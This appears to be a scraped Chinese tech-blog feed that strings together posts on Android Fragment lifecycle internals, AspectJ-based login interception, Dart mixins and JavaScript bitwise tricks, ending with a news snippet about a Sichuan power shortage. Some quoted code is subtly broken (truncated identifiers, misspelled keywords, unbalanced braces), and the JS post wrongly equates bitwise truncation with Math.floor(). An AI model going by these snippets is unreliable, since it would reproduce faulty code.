也就是,Activity 创建的时候,Fragment一同创建,同时Fragment优先在后台先展示好,最后Activity带着Fragment一起展示到前台。


是什么?


Fragment中文翻译为”碎片“,在手机中,每一个Activity作为一个页面,有时候太大了,尤其是在平板的横屏下,我们希望左半边是一根独立模块,右半边是一个独立模块,比如一个新闻app,左边是标题栏,右边是显示内容


此时就非常适合Fragment


Fragment是内嵌入Activity中的,可以在onCreateView中加载自定义的布局,使用LayoutInflater,然后Activity持有FragmentManager对Fragment进行控制,


下图是他的代码框架


image.png


我们的Activity一般是用AppCompatActivity,而AppCompatActivity继承了FragmentActivity


public class AppCompatActivity extends FragmentActivity implements AppCompatCallback,
TaskStackBuilder.SupportParentable, ActionBarDrawerToggle.DelegateProvider {

也就是说Activity之所支持fragment,是因为有FragmentActivity,他内部有一个FragmentController,这个controller持有一个FragmentManager,真正做事的就是这个FragmentManager的实现类FragmentManagerImpl


整体架构


回到我们刚才的面试题,关于生命周期绝对是重中之重,但是实际上,生命周期本质只是被其他地方的方法被动调用而已,关键是Fragment自己的状态变化了,才会回调生命周期方法,所以我们来看看fragment的状态转移


fragment有七个状态


static final int INVALID_STATE = -1;   // 为空时无效
static final int INITIALIZING = 0; // 未创建
static final int CREATED = 1; // 已创建,位于后台
static final int ACTIVITY_CREATED = 2; // Activity已经创建,Fragment位于后台
static final int STOPPED = 3; // 创建完成,没有开始
static final int STARTED = 4; // 开始运行,但是位于后台
static final int RESUMED = 5; // 显示到前台

在这里有一个有意思的地方,STOPPED,我本来以为是停止阶段,但是在源码中写为”
Fully created, not started.“,所以,其实Fragment的状态是对称的。RESUME状态反而是最后一个状态


调用过程如下


image.png


Fragment的状态转移过程主要受到宿主,事务的影响,宿主一般就是Activity,在我们刚刚的题目中,看到了Activity与Fragment的生命周期交替执行,本质上就是,Activity执行完后通知了Fragment进行状态转移,而Fragment执行了状态转移后对应的回调了生命周期方法


下图可以更加清晰


img


宿主改变Fragment状态


那么我们不禁要问,Activity如何改变Fragment的状态?


我们知道Activity继承于FragmentActivity,最终是通过持有的FragmentManager来控制Fragment,我们去看看


FragmentActivity
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
mFragments.attachHost(null /*parent*/);

super.onCreate(savedInstanceState);
...
mFragments.dispatchCreate();
}

可以看到,onCreate方法中执行了mFragments.dispatchCreate();,看起来像是通知Fragment的onCreate执行,这也印证了我们开始时的周期回调顺序


D/MainActivity: MainActivity: 
D/MainActivity: onCreate: start // 进入onCreate
D/MainFragment: onAttach: // 执行mFragments.dispatchCreate();
D/MainFragment: onCreate:
D/MainActivity: onCreate: end // 退出onCreate

类似的FragmentActivity在每一个生命周期方法中都做了相同的事情


@Override
protected void onDestroy() {
super.onDestroy();

if (mViewModelStore != null && !isChangingConfigurations()) {
mViewModelStore.clear();
}

mFragments.dispatchDestroy();
}

我们进入dispatchCreate看看,


Runnable mExecCommit = new Runnable() {
@Override
public void run() {
execPendingActions();
}

//内部修改了两个状态
public void dispatchCreate() {
mStateSaved = false;
mStopped = false;
dispatchStateChange(Fragment.CREATED);

private void dispatchStateChange(int nextState) {
try {
mExecutingActions = true;
moveToState(nextState, false);// 转移到nextState
} finally {
mExecutingActions = false;
}
execPendingActions();
}
//一路下来会执行到
void moveToState(Fragment f, int newState, int transit, int transitionStyle,
boolean keepActive) {
// Fragments that are not currently added will sit in the onCreate() state.
if ((!f.mAdded || f.mDetached) && newState > Fragment.CREATED) {
newState = Fragment.CREATED;
}
if (f.mRemoving && newState > f.mState) {
if (f.mState == Fragment.INITIALIZING && f.isInBackStack()) {
// Allow the fragment to be created so that it can be saved later.
newState = Fragment.CREATED;
} else {
// While removing a fragment, we can't change it to a higher state.
newState = f.mState;
}
}
...
}

可以看到上面的代码,最终执行到 moveToState,通过判断Fragment当前的状态,同时newState > f.mState,避免状态回退,然后进行状态转移


状态转移完成后就会触发对应的生命周期回调方法


事务管理


如果Fragment只能随着Activity的生命周期变化而变化,那就太不灵活了,所以Android给我们提供了一个独立的操作方案,事务


同样由FragManager管理,具体由FragmentTransaction执行,主要是添加删除替换Fragment等,执行操作后,需要提交来保证生效


FragmentManager fragmentManager = ...
FragmentTransaction transaction = fragmentManager.beginTransaction();
transaction.setReorderingAllowed(true);

transaction.replace(R.id.fragment_container, ExampleFragment.class, null); // 替换Fragment

transaction.commit();// 这里的commit是提交的一种方法

Android给我们的几种提交方式


image-20211020143006614


FragmentTransaction是个挂名抽象类,真正的实现在BackStackState回退栈中,我们看下commit


@Override
public int commit() {
return commitInternal(false);
}
int commitInternal(boolean allowStateLoss) {
if (mCommitted) throw new IllegalStateException("commit already called");
...
mCommitted = true;
if (mAddToBackStack) {
mIndex = mManager.allocBackStackIndex(this);//1
} else {
mIndex = -1;
}
// 入队操作
mManager.enqueueAction(this, allowStateLoss);//2
return mIndex;
}

可以看到,commit的本质就是将事务提交到队列中,这里出现了两个数组,注释1处


ArrayList<BackStackRecord> mBackStackIndices;
ArrayList<Integer> mAvailBackStackIndices;
public int allocBackStackIndex(BackStackRecord bse) {
synchronized (this) {
if (mAvailBackStackIndices == null || mAvailBackStackIndices.size() <= 0) {
if (mBackStackIndices == null) {
mBackStackIndices = new ArrayList<BackStackRecord>();
}
int index = mBackStackIndices.size();
mBackStackIndices.add(bse);
return ind
} else {
int index = mAvailBackStackIndices.remove(mAvailBackStackIndices.size()-1);
mBackStackIndices.set(index, bse);
return index;
}
}
}

mBackStackIndices数组,每个元素是一个回退栈,用来记录索引。比如说,当有五个BackStackState时,移除掉1,3两个,就是在mBackStackIndices将对应元素置为null,然后mAvailBackStackIndices会添加这两个回退栈,记录被移除的回退栈


当下次commit时,就判定mAvailBackStackIndices中的索引,对应的BackStackState一定是null,直接写到这个索引即可


而一组操作都commit到同一个队列里面,所以要么全部完成,要么全部不做,可以保证原子性


注释二处是一个入队操作


public void enqueueAction(OpGenerator action, boolean allowStateLoss
synchronized (this) {
...
mPendingActions.add(action);
scheduleCommit(); // 真正的提交
}
}
public void scheduleCommit() {
synchronized (this) {
boolean postponeReady =
mPostponedTransactions != null && !mPostponedTransactions.isEmpty();
boolean pendingReady = mPendingActions != null && mPendingActions.size() == 1;
if (postponeReady || pendingReady) {
mHost.getHandler().removeCallbacks(mExecCommit);
mHost.getHandler().post(mExecCommit); // 发送请求
}
}

这里最后 mHost.getHandler()是拿到了宿主Activity的handler,使得可以在主线程执行,mExecCommit本身是一个线程


我们继续看下这个mExecCommit


Runnable mExecCommit = new Runnable() {
@Override
public void run() {
execPendingActions();
}
};
public boolean execPendingActions() {
ensureExecReady(true);
...
doPendingDeferredStart();
burpActive();
return didSomething;
}
void doPendingDeferredStart() {
if (mHavePendingDeferredStart) {
mHavePendingDeferredStart = false;
startPendingDeferredFragments();
}
}
void startPendingDeferredFragments() {
if (mActive == null) return;
for (int i=0; i<mActive.size(); i++) {
Fragment f = mActive.valueAt(i);
if (f != null) {
performPendingDeferredStart(f);
}
}
}
public void performPendingDeferredStart(Fragment f) {
if (f.mDeferStart) {
f.mDeferStart = false;
moveToState(f, mCurState, 0, 0, false); // 最终到了MoveToState
}
}

还记得我们在宿主改变Fragment状态,里面的最终路径吗?是的,就是这个moveToState,无论是宿主改变Fragment状态,还是事务来改变,最终都会执行到moveToState,然后call对应的生命周期方法来执行,这也是为什么我们要将状态转移作为学习主线,而不是生命周期。


除了commit,可以看到FragmentTransaction有众多对Fragment进行增删改查的方法


image-20211020143442569


都是由BackStackState来执行,最后都会执行到moveToState中


具体是如何改变的,有很多细节,这里不再赘述。


小结


本节我们讲了Fragment在android系统中的状态,那就是通过自身状态转移来回调对应生命周期方法,这块是自动实现的,我们开发时不太需要关注状态转移,只要知道什么时候执行某个生命周期方法,然后再在对应方法中写业务逻辑即可


有两个方法可以让Fragment状态转移,



  • 宿主Activity生命周期内自动修改Fragment状态,回调Fragment的生命周期方法

  • 通过手动提交事务,修改Fragment状态,回调Fragment的生命周期方法

作者:小松漫步
链接:https://juejin.cn/post/7021398731056480269
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Android登录拦截的场景-面向切面基于AOP实现

前言 场景如下:用户第一次下载App,点击进入首页列表,点击个人页面,需要校验登录,然后跳转到登录页面,注册/登录完成跳转到个人页面。 非常常见的场景,正常我们开发就只能判断是否已经登录,如果未登录就跳转到登录,然后登录完成之后怎么继续执行?如何封装?有哪些方...
继续阅读 »

前言


场景如下:用户第一次下载App,点击进入首页列表,点击个人页面,需要校验登录,然后跳转到登录页面,注册/登录完成跳转到个人页面。


非常常见的场景,正常我们开发就只能判断是否已经登录,如果未登录就跳转到登录,然后登录完成之后怎么继续执行?如何封装?有哪些方式?其实很多人并不清楚。


这里做一个系列总结一下,看看公共有多少种方式实现,你们使用的是哪一种方案,或者说你们觉得哪一种方案最好用。


这一次分享的是全网最多的方案 ,面向切面 AOP 的方式。你去某度一搜,Android拦截登录 最多的结果就是AOP实现登录拦截的功能,既然大家都推荐,我们就来看看它到底如何?


一、了解面向切面AOP


我们学习Java的开始,我们一直就知道 OOP 面向对象,其实 AOP 面向切面,是对OOP的一个补充,AOP采取横向收取机制,取代了传统纵向继承体系重复性代码,把某一类问题集中在一个地方进行处理,比如处理程序中的点击事件、打印日志等。


AOP是编程思想就是把业务逻辑和横切问题进行分离,从而达到解耦的目的,提高代码的重用性和开发效率。OOP的精髓是把功能或问题模块化,每个模块处理自己的家务事。但在现实世界中,并不是所有功能都能完美得划分到模块中。AOP的目标是把这些功能集中起来,放到一个统一的地方来控制和管理。


我记得我最开始接触 AOP 还是在JavaEE的框架SSH的学习中,AspectJ框架,开始流行于后端,现在在Android开发的应用中也越来越广泛了,Android中使用AspectJ框架的应用也有很多,比如点击事件防抖,埋点,权限申请等等不一而足,这里不展开说明,毕竟我们这一期不是专门讲AspectJ的应用的。


简单的说一下AOP的重点概念(摘抄):




  • 前置通知(Before):在目标方法被调用之前调用通知功能。




  • 后置通知(After):在目标方法完成之后调用通知,此时不会关心方法的输出是什么。




  • 返回通知(After-returning):在目标方法成功执行之后调用通知。




  • 异常通知(After-throwing):在目标方法抛出异常后调用通知。




  • 环绕通知(Around):通知包裹了被通知的方法,在被通知的方法调用之前和调用之后执行自定义的行为。




  • 连接点:是在应用执行过程中能够插入切面的一个点。




  • 切点: 切点定义了切面在何处要织入的一个或者多个连接点。




  • 切面:是通知和切点的结合。通知和切点共同定义了切面的全部内容。




  • 引入:引入允许我们向现有类添加新方法或属性。




  • 织入:是把切面应用到目标对象,并创建新的代理对象的过程。切面在指定的连接点被织入到目标对象中。在目标对象的生命周期中有多个点可以进行织入:




  • 编译期: 在目标类编译时,切面被织入。这种方式需要特殊的编译器。AspectJ的织入编译器就是以这种方式织入切面的。




  • 类加载期:切面在目标加载到JVM时被织入。这种方式需要特殊的类加载器(class loader)它可以在目标类被引入应用之前增强该目标类的字节码。




  • 运行期: 切面在应用运行到某个时刻时被织入。一般情况下,在织入切面时,AOP容器会为目标对象动态地创建一个代理对象。SpringAOP就是以这种方式织入切面的。




简单理解就是把一个方法拿出来,在这个方法执行前,执行后,做一些特别的操作。关于AOP的基本使用推荐大家看看大佬的教程:


深入理解Android之AOP


不多BB,我们直接看看Android中如何使用AspectJ实现AOP逻辑,实现拦截登录的功能。


二、集成AOP框架


Java项目集成


buildscript {
repositories {
mavenCentral()
}
dependencies {
classpath 'org.aspectj:aspectjtools:1.8.9'
classpath 'org.aspectj:aspectjweaver:1.8.9'
}
}

组件build.gradle


dependencies {
implementation 'org.aspectj:aspectjrt:1.9.6'
}


import org.aspectj.bridge.IMessage
import org.aspectj.bridge.MessageHandler
import org.aspectj.tools.ajc.Main

// 获取log打印工具和构建配置
final def log = project.logger
final def variants = project.android.applicationVariants
variants.all { variant ->
if (!variant.buildType.isDebuggable()) {
// 判断是否debug,如果打release把return去掉就可以
log.debug("Skipping non-debuggable build type '${variant.buildType.name}'.")
// return;
}
// 使aspectj配置生效
JavaCompile javaCompile = variant.javaCompile
javaCompile.doLast {
String[] args = ["-showWeaveInfo",
"-1.8",
"-inpath", javaCompile.destinationDir.toString(),
"-aspectpath", javaCompile.classpath.asPath,
"-d", javaCompile.destinationDir.toString(),
"-classpath", javaCompile.classpath.asPath,
"-bootclasspath", project.android.bootClasspath.join(File.pathSeparator)]
log.debug "ajc args: " + Arrays.toString(args)

MessageHandler handler = new MessageHandler(true);
new Main().run(args, handler);
//在编译时打印信息如警告、error等等
for (IMessage message : handler.getMessages(null, true)) {
switch (message.getKind()) {
case IMessage.ABORT:
case IMessage.ERROR:
case IMessage.FAIL:
log.error message.message, message.thrown
break;
case IMessage.WARNING:
log.warn message.message, message.thrown
break;
case IMessage.INFO:
log.info message.message, message.thrown
break;
case IMessage.DEBUG:
log.debug message.message, message.thrown
break;
}
}
}
}

Kotlin项目集成


dependencies {
classpath 'com.android.tools.build:gradle:3.6.1'

classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"

classpath 'com.hujiang.aspectjx:gradle-android-plugin-aspectjx:2.0.10'


项目build.gradle


apply plugin: 'com.android.application'
apply plugin: 'kotlin-android'
apply plugin: 'kotlin-kapt'

apply plugin: 'android-aspectjx'

android {
...

// AOP 配置
aspectjx {
// 排除一些第三方库的包名(Gson、 LeakCanary 和 AOP 有冲突)
exclude 'androidx', 'com.google', 'com.squareup', 'com.alipay', 'com.taobao',
'org.apache',
'org.jetbrains.kotlin',
"module-info", 'versions.9'
}

}

ependencies {
implementation fileTree(dir: 'libs', include: ['*.jar'])
implementation 'org.aspectj:aspectjrt:1.9.5'
}

集成AOP踩坑:
zip file is empty



和第三方包有冲突,比如Gson,OkHttp等,需要配置排除一下第三方包,



gradle版本兼容问题



AGP版本4.0以上不支持 推荐使用3.6.1



kotlin兼容问题 :



基本都是推荐使用 com.hujiang.aspectjx



编译版本兼容问题:



4.0以上使用KT编译版本为Java11需要改为Java8



组件化兼容问题:



如果在library的moudle中自定义的注解, 想要通过AspectJ来拦截织入, 那么这个@Aspect类必须和自定义的注解在同一moudle中, 否则是没有效果的



等等...


难点就在集成,如何在指定版本的Gradle,Kotlin项目中集成成功。只要集成成功了,使用到是简单了。


三、定义注解实现功能


定义标记的注解


//不需要回调的处理
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface Login {
}

定义处理类


@Aspect
public class LoginAspect {

@Pointcut("@annotation(com.guadou.kt_demo.demo.demo3_bottomtabbar_fragment.aop.Login)")
public void Login() {
}

//不带回调的注解处理
@Around("Login()")
public void loginJoinPoint(ProceedingJoinPoint joinPoint) throws Throwable {
YYLogUtils.w("走进AOP方法-Login()");
Signature signature = joinPoint.getSignature();

if (!(signature instanceof MethodSignature)){
throw new RuntimeException("该注解只能用于方法上");
}

Login login = ((MethodSignature) signature).getMethod().getAnnotation(Login.class);
if (login == null) return;

//判断当前是否已经登录
if (LoginManager.isLogin()) {
joinPoint.proceed();
} else {
//如果未登录,去登录页面
LoginManager.gotoLoginPage();
}
}

object LoginManager {

@JvmStatic
fun isLogin(): Boolean {
val token = SP().getString(Constants.KEY_TOKEN, "")
YYLogUtils.w("LoginManager-token:$token")
val checkEmpty = token.checkEmpty()
return !checkEmpty
}

@JvmStatic
fun gotoLoginPage() {
commContext().gotoActivity<LoginDemoActivity>()
}
}

其实逻辑很简单,就是判断是否登录,看是放行还是跳转到登录页面


使用的逻辑也是很简单,把需要处理的逻辑使用方法抽取,并标记注解即可


    override fun init() {

mBtnCleanToken.click {
SP().remove(Constants.KEY_TOKEN)
toast("清除成功")
}

mBtnProfile.click {

//不带回调的登录方式
gotoProfilePage2()
}

}

@Login
private fun gotoProfilePage2() {
gotoActivity<ProfileDemoActivity>()
}

效果:



这..这和我使用Token自己手动判断有什么区别,完成登录之后还得我再点一次按钮,当然了这只是登录拦截,我想要的是登录成功之后继续之前的操作,怎么办?


其实使用AOP的方式的话,我们可以使用消息通知的方式,比如LiveBus FlowBus之类的间接实现这个效果。


我们先单独的定义一个注解


//需要回调的处理用来触发用户登录成功后的后续操作
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface LoginCallback {
}

修改定义的切面类


@Aspect
public class LoginAspect {

@Pointcut("@annotation(com.guadou.kt_demo.demo.demo3_bottomtabbar_fragment.aop.Login)")
public void Login() {
}

@Pointcut("@annotation(com.guadou.kt_demo.demo.demo3_bottomtabbar_fragment.aop.LoginCallback)")
public void LoginCallback() {
}

//带回调的注解处理
@Around("LoginCallback()")
public void loginCallbackJoinPoint(ProceedingJoinPoint joinPoint) throws Throwable {
YYLogUtils.w("走进AOP方法-LoginCallback()");
Signature signature = joinPoint.getSignature();

if (!(signature instanceof MethodSignature)){
throw new RuntimeException("该注解只能用于方法上");
}

LoginCallback loginCallback = ((MethodSignature) signature).getMethod().getAnnotation(LoginCallback.class);
if (loginCallback == null) return;

//判断当前是否已经登录
if (LoginManager.isLogin()) {
joinPoint.proceed();

} else {
LifecycleOwner lifecycleOwner = (LifecycleOwner) joinPoint.getTarget();

LiveEventBus.get("login").observe(lifecycleOwner, new Observer<Object>() {
@Override
public void onChanged(Object integer) {
try {
joinPoint.proceed();
LiveEventBus.get("login").removeObserver(this);

} catch (Throwable throwable) {
throwable.printStackTrace();
LiveEventBus.get("login").removeObserver(this);
}
}
});

LoginManager.gotoLoginPage();
}
}

//不带回调的注解处理
@Around("Login()")
public void loginJoinPoint(ProceedingJoinPoint joinPoint) throws Throwable {
YYLogUtils.w("走进AOP方法-Login()");
Signature signature = joinPoint.getSignature();

if (!(signature instanceof MethodSignature)){
throw new RuntimeException("该注解只能用于方法上");
}

Login login = ((MethodSignature) signature).getMethod().getAnnotation(Login.class);
if (login == null) return;

//判断当前是否已经登录
if (LoginManager.isLogin()) {
joinPoint.proceed();
} else {
//如果未登录,去登录页面
LoginManager.gotoLoginPage();
}


}
}

在去登录页面之前注册一个LiveEventBus事件,当登录完成之后发出通知,这里就直接放行调用注解的方法。即可完成继续执行的操作。


使用:


    override fun init() {

mBtnCleanToken.click {
SP().remove(Constants.KEY_TOKEN)
toast("清除成功")
}

mBtnProfile.click {

//不带回调的登录方式
gotoProfilePage()
}

}

@LoginCallback
private fun gotoProfilePage() {
gotoActivity<ProfileDemoActivity>()
}

效果:



总结


从上面的代码我们就基于AOP思想实现了登录拦截功能,以后我们对于需要用户登录之后才能使用的功能只需要在对应的方法上添加指定的注解即可完成逻辑,彻底摆脱传统耗时耗力的开发方式。


需要注意的是AOP框架虽然使用起来很方便,能帮我们轻松完成函数插桩功能,但是它也有自己的缺点。AspectJ 在实现时会包装自己的一些类,不仅会影响切点方法的性能,还会导致安装包体积的增大。最关键的是对Kotlin不友好,对高版本AGP不友好,所以大家在使用时需要仔细权衡是否适合自己的项目。如有需求可以运行源码查看效果。源码在此


由于篇幅原因,后期会出单独出一些其他方式实现的登录拦截的实现,如果觉得这种方式不喜欢,大家可以对比一下哪一种方式比较你胃口。大家可以点下关注看看最新更新。


题外话:
我发现大家看我的文章都喜欢看一些总结性的,实战性的,直接告诉你怎么用的那种。所以我尽量不涉及到集成原理与基本使用,直接开箱即用。当然关于原理和基本的使用,我也不是什么大佬,我想大家也看不上我讲的。不过我也会给出推荐的文章。


好了,我本人如有讲解不到位或错漏的地方,希望同学们可以指出交流。


如果感觉本文对你有一点点点的启发,还望你能点赞支持一下,你的支持是我最大的动力。


Ok,这一期就此完结。



作者:newki
链接:https://juejin.cn/post/7132643283083198501
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter 语法进阶 | 深入理解混入类 mixin

混入类引言 混入类是 Dart 中独有的概念,它是 继承 、实现 之外的另一种 is-a 关系的维护方式。它和接口非常像,一个类支持混入多个类,但在本质上和接口还是有很大区别的。在感觉上来说,从耦合性来看,混入类像是 抽象类 和 接口 的中间地带。下面就来认识...
继续阅读 »
混入类引言

混入类是 Dart 中独有的概念,它是 继承实现 之外的另一种 is-a 关系的维护方式。它和接口非常像,一个类支持混入多个类,但在本质上和接口还是有很大区别的。在感觉上来说,从耦合性来看,混入类像是 抽象类接口 的中间地带。下面就来认识一下混入类的 使用与特性




1. 混入类的定义与使用

混入类通过 mixin 关键字进行声明,如下的 MoveAble 类,其中可以持有 成员变量 ,也可以声明和实现成员方法。对混入类通过 with 关键字进行使用,如下的 Shape 混入了 MoveAble 类。在下面 main 方法测试中可以看出,混入一个类,就可以访问其中的成员属性与方法,这点和 继承 非常像。


void main(){
 Shape shape = Shape();
 shape.speed = 20;
 shape.move();//=====Shape move====
 print(shape is MoveAble);// true
}

mixin MoveAble{
 double speed = 10;
 void move(){
   print("=====$runtimeType move====");
}
}

class Shape with MoveAble{

}



一个类可以混入若干个类,通过 , 号隔开。如下 Shape 混入了 MoveAblePaintAble ,就表示 Shape 对象可以同时拥有这两个类的能力。这个功能和接口有点相似,不过混入类可以进行对方法进行实现,这点要比接口更灵活。有点 随插随用 的感觉,甚至 Shape 类中可以什么都不做,就坐拥 “王权富贵”


mixin PaintAble{
 void paint(){
   print("=====$runtimeType paint====");
}
}

class Shape with MoveAble,PaintAble{
}

值得注意一点的是:混入类支持 抽象方法 ,而且同样要求派生类必须实现 抽象方法 。如下 PaintAbletag1 处定义了 init 抽象方法,在 Shape 中必须实现,这一点又和 抽象类 有些相像。所以我说混入类像是 抽象类接口 的中间地带,它不像继承那样单一,也不像接口那么死板。


mixin PaintAble{
 late Paint painter;
 void paint(){
   print("=====$runtimeType paint====");
}
 void init();// tag1
}

class Shape with MoveAble,PaintAble{
 @override
 void init() {
   painter = Paint();
}
}



2. 混入类对二义性的解决方式

通过前面可以看出,混入类 可谓 上得厅堂下得厨房 ,能打能抗的六边形战士。但,没有任何事物是完美无缺的。仔细想一下,既然语法上支持 多混入 ,那解决二义性就是一座不可避免大山。接口 牺牲了 普通成员方法实现 ,可谓断尾求生,才解决二义性问题,支持 多实现 。而 混入类 又能写成员变量,又能写成员方法,那它牺牲了什么呢?答案是:


混入类不能拥有【构造方法】

这一点就从本质上限制了 混入类 无法直接创建对象,这也是它和 普通类 最大的差异。从这里可以看出,抽象类接口混入类 都具有不能直接实例化的特点。本质上是因为这三者都是更高层的抽象,可能存在未实现的功能。那为什么混入类无法构造,就能解决二义性问题呢?下面来分析一下,两个混入类中的同名成员、同名方法,在多混入场景中是如何工作的。如下测试代码所示,AB 两个混入类拥有同名的 成员属性成员方法 :


mixin A {
 String name = "A";

 void log() {
   print(name);
}
}

mixin B {
 String name = "B";

 void log() {
   print(name);
}
}

此时,C 依次混入 AB 类,然后实例化 C 对象,执行 log 方法,可以看出,打印的是 B


class C with A, B {}

void main() {
 C c = C();
 c.log(); // B
}

如果 C 依次混入 BA 类,打印结果是 A 。也就是说对于多混入来说,混入类的顺序是至关重要的,当存在二义性问题时,会 “后来居上” ,访问最后混入类的方法或变量。这点往往会被很多人忽略,或压根不知道。


class C with B, A {}

void main() {
 C c = C();
 c.log(); // A
}



另外,补充一个小细节,如果 C 类覆写了 log 方法,那么执行时毋庸置疑是走 C#log 。由于混入类支持方法实现,所以派生类中可以通过 super 关键字触发 “基类” 的方法。同样对于二义性的处理也是 “后来居上” ,下面的 super.log() 执行的是 B 类方法。这种特性常用于对有生命周期的类进行拓展的场景,比如 AutomaticKeepAliveClientMixin


class C with A, B {
 
 @override
 void log() {
   super.log();// B
   print("C");
}
}



3.混入类间的继承细节

另外,两个混入类间可以通过 on 关键字产生类似于 继承 的关系:如下 MoveAble on Position 之后,MoveAble 类中可以访问 Position 中定义的 vec2 成员变量。





但有一点要特别注意,由于 MoveAble on Position ,当 Shape with MoveAble 时,必须在 MoveAble 之前混入 Position 。这点可能很多人也都不知道。



class Shape with Position,MoveAble,PaintAble{

}



另外,混入类并非仅由mixin 声明,一切满足 没有构造方法 的类都可以作为混入类。比如下面 A普通类B接口(抽象)类 ,都可以在 with 后作为 混入类被对待 。也就是说,一个类的可以用多重身份,并非是互斥的,它具体是什么身份,要看使用的场景。而使用场景最醒目的标志是 关键字



























关键字类关系耦合性
extend继承
implements实现
with混入

class A {
 String name = "A";

 void log() {
   print(name);
}
}

abstract class B{
 void log();
}

class C with A, B {

 @override
 void log() {
   super.log();// B
   print("C");
}
}



4.根据源码理解混入类

混入类在 Flutter 框架层的使用是非常多的,在 《Flutter 渲染机制 - 聚沙成塔》的 十二章 结合源码介绍了混入类的价值。下面来举个混入类的使用场景,会有些难,新手适当理解。比如 AutomaticKeepAliveClientMixin 继承 State :


mixin AutomaticKeepAliveClientMixin<T extends StatefulWidget> on State<T> {}

所以它可以在 State 的生命周期相关回调方法中做额外的处理,来实现某些特定的功能能。



这样,当在 State 派生类中混入 AutomaticKeepAliveClientMixin ,根据混入类二义性的特点,对于已经覆写的方法,可以通过 super.XXX 访问混入类的功能。对于未覆写的方法,会默认走混入类方法,这样就可以形成一种 "可插拔" 的功能件。


举个更易懂的例子,如下定义一个 LogStateMixin ,对 initStatedispose 方法进行覆写并输出日志。这样在一个 State 派生类中混入 LogStateMixin 就可以不动声色地实现生命周期打印功能,不想要就不混入。对于一些逻辑相对独立,或可以进行复用的拓展功能,使用 mixin 是非常方便的。


mixin LogStateMixin<T extends StatefulWidget> on State<T> {

 @override
 void initState() {
   super.initState();
   print("====initState====");
}

 // 略其他回调...
 
 @override
 void dispose() {
   super.dispose();
   print("====dispose====");
}
}

源码中有大量的混入类应用场景,大家可以自己去发现一下。本文从更深层次,分析了混入类的来龙去脉,它和 继承接口 的差异。作为 Dart 中相对独立的概念,对混入类的理解是非常重要的,它相当于在原有的 类间六大关系 中又添加了一种。本文想说的就这么多,谢谢观看~


作者:张风捷特烈
链接:https://juejin.cn/post/7132651702980706312
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

写这么骚的代码,不怕被揍么?

web
曾经,我接手了一份大佬的代码,里面充满了各种“骚操作”,还不加注释那种,短短几行的函数花了很久才弄懂。这世上,“只有魔法才能对抗魔法”,于是后来,翻阅各种“黑魔法”的秘籍,总结了一些比较实用的“骚操作”,让我们装X的同时,提升代码运行的效率(请配合健身房一起使...
继续阅读 »

曾经,我接手了一份大佬的代码,里面充满了各种“骚操作”,还不加注释那种,短短几行的函数花了很久才弄懂。


这世上,“只有魔法才能对抗魔法”,于是后来,翻阅各种“黑魔法”的秘籍,总结了一些比较实用的“骚操作”,让我们装X的同时,提升代码运行的效率(请配合健身房一起使用)。


位运算

JavaScript 中最臭名昭著的 Bug 就是 0.1 + 0.2 !== 0.3,因为精度的问题,导致所有的浮点运算都是不安全的。


因此,之前有大牛提出,不要在 JS 中使用位运算:

Javascript 完全套用了 Java 的位运算符,包括按位与&、按位或|、按位异或^、按位非~、左移<<、带符号的右移>>和用0补足的右移>>>。这套运算符针对的是整数,所以对 JavaScript 完全无用,因为 JavaScript 内部,所有数字都保存为双精度浮点数。如果使用它们的话,JavaScript 不得不将运算数先转为整数,然后再进行运算,这样就降低了速度。而且按位与运算符&同逻辑与运算符&&,很容易混淆。


但是在我看来,如果对 JS 的运用达到炉火纯青的地步,能避开各种“Feature”的话,偶尔用一下位运算符也无所谓,还能提升运算性能,毕竟直接操作的是计算机最熟悉的二进制。


1. 使用左移运算符 << 迅速得出2的次方



2. 使用 ^ 切换变量 0 或 1



3. 使用 & 判断奇偶性

偶数 & 1 = 0

奇数 & 1 = 1


4. 使用 !! 将数字转为布尔值

所有非0的值都是true,包括负数、浮点数:

5. 使用~、>>、<<、>>>、|来取整

相当于使用了 Math.floor()



注意 >>> 不可对负数取整



6. 使用^来完成值交换

这个符号的用法前面提到过,下面介绍一些高级的用法,在 ES6 的解构赋值出来之前,用这种方式会更快(但必须是整数):



7. 使用^判断符号是否相同





8. 使用^来检查数字是否不相等





9. n & (n - 1),如果为 0,说明 n 是 2 的整数幂



10. 使用 A + 0.5 | 0 来替代 Math.round()


如果是负数,只需要-0.5


String

1. 使用toString(16)取随机字符串



.substring() 的第二个参数控制取多少位 (最多可取13位)


2. 使用 split(0)

使用数字来做为 split 的分隔条件可以节省2字节



3. 使用.link() 创建链接

一个鲜为人知的方法,可以快速创建 a 标签




3. 使用 Array 来重复字符



其他一些花里胡哨的操作

1. 使用当前时间创建一个随机数


2. 一些可以替代 undefined 的操作

(1)._1.._  0[0]


2. void 0 会比写 undefined 要快一些





3.使用 1/0 来替代 Infinity



4.使用 Array.length = 0 来清空数组



5.使用 Array.slice(0) 实现数组浅拷贝


6.使用 !+\v1 快速判断 IE8 以下的浏览器

谷歌浏览器:



7. for 循环条件的简写



结尾

虽然上述操作能在一定程度上使代码更简洁,但会降低可读性。在目前的大环境下,机器的性能损失远比不上人力的损失,因为升级机器配置的成本远低于维护晦涩代码的成本,所以请谨慎使用这些“黑魔法”。就算要使用,也请加上注释,毕竟,这世上还有很多“麻瓜”需要生存。


还有一些其他骚操作,可以参考这位大神总结的 《Byte-saving Techniques》,有些很常见,有些使用环境苛刻,这里就不一一列出了。

最后,来一个彩蛋,在控制台输入:


如果以后有人喷你的代码,你就可以将此代码发给他。


来源:juejin.im/post/5e044eb5f265da33b50748c8



收起阅读 »

水电大省四川热到缺电!宁德时代都被迫停产了

这大概是最近南方朋友们出门之后的唯一感想了。后脚更严重的情况发生在四川:因为持续高温,蜀地“电量电力双缺”,甚至不得不对工业用户开启了限电模式。但说起来,四川可是水电大省啊。并且水力发电向来有“夏丰冬枯”的说法。水电大省为何缺电?同时四川也是全国水电第一大省,...
继续阅读 »

热热热!

这大概是最近南方朋友们出门之后的唯一感想了。

前有江苏最高地表温度飙至72℃,把地里的火龙果都给烤熟了。

后脚更严重的情况发生在四川:因为持续高温,蜀地“电量电力双缺”,甚至不得不对工业用户开启了限电模式。


